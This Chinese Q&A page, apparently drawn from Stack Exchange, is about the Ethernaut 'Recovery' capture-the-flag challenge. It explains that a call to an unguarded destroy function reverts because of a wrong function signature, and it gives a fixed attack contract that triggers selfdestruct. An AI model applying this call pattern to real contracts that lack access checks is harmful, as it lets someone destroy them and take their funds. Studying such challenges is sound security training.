Ethernaut Recovery CTF:调用destroy函数交易回滚问题排查
问题
正在进行Ethernaut的Recovery CTF挑战,尝试调用目标SimpleToken合约的destroy函数,使用Solidity的call方法实现,但交易一直回滚。
目标合约
contract SimpleToken { using SafeMath for uint256; // public variables string public name; mapping (address => uint) public balances; // constructor constructor(string memory _name, address _creator, uint256 _initialSupply) public { name = _name; balances[_creator] = _initialSupply; } // collect ether in return for tokens receive() external payable { balances[msg.sender] = msg.value.mul(10); } // allow transfers of tokens function transfer(address _to, uint _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = _amount; } // clean up after ourselves function destroy(address payable _to) public { selfdestruct(_to); } }
攻击合约
//SPDX-License-Identifier:MIT pragma solidity ^0.8.0; contract recovery_solution{ address victim = 0x0EB8e4771ABA41B70d0cb6770e04086E5aee5aB2; function destroy1(address _to) public{ (bool success, ) = victim.call(abi.encodeWithSignature("destroy(address payable)", _to)); require(success, "Transaction failed"); } }
问题排查与修复
你的攻击合约存在两个核心问题:
函数签名错误
Solidity生成函数签名时,仅关注参数的基础类型,payable作为地址的修饰符不会被包含在签名中。目标合约destroy函数的正确签名是destroy(address),而非你使用的destroy(address payable)。错误的签名会导致合约无法匹配到对应函数,直接触发交易回滚。参数类型严谨性问题
虽然ABI编码中address和address payable的格式一致,但为避免潜在类型转换问题,建议将攻击函数的_to参数声明为address payable,保证与目标函数的参数类型完全匹配。
修复后的攻击合约
//SPDX-License-Identifier:MIT pragma solidity ^0.8.0; contract recovery_solution{ address victim = 0x0EB8e4771ABA41B70d0cb6770e04086E5aee5aB2; function destroy1(address payable _to) public{ (bool success, ) = victim.call(abi.encodeWithSignature("destroy(address)", _to)); require(success, "Transaction failed"); } }
补充说明:在Recovery挑战中,SimpleToken的destroy函数未做权限校验,任何地址均可调用。修复上述问题后,交易即可成功执行,触发selfdestruct销毁合约并转移剩余余额。
内容的提问来源于stack exchange,提问作者Mukund Agrawal
相关产品推荐
相关产品推荐

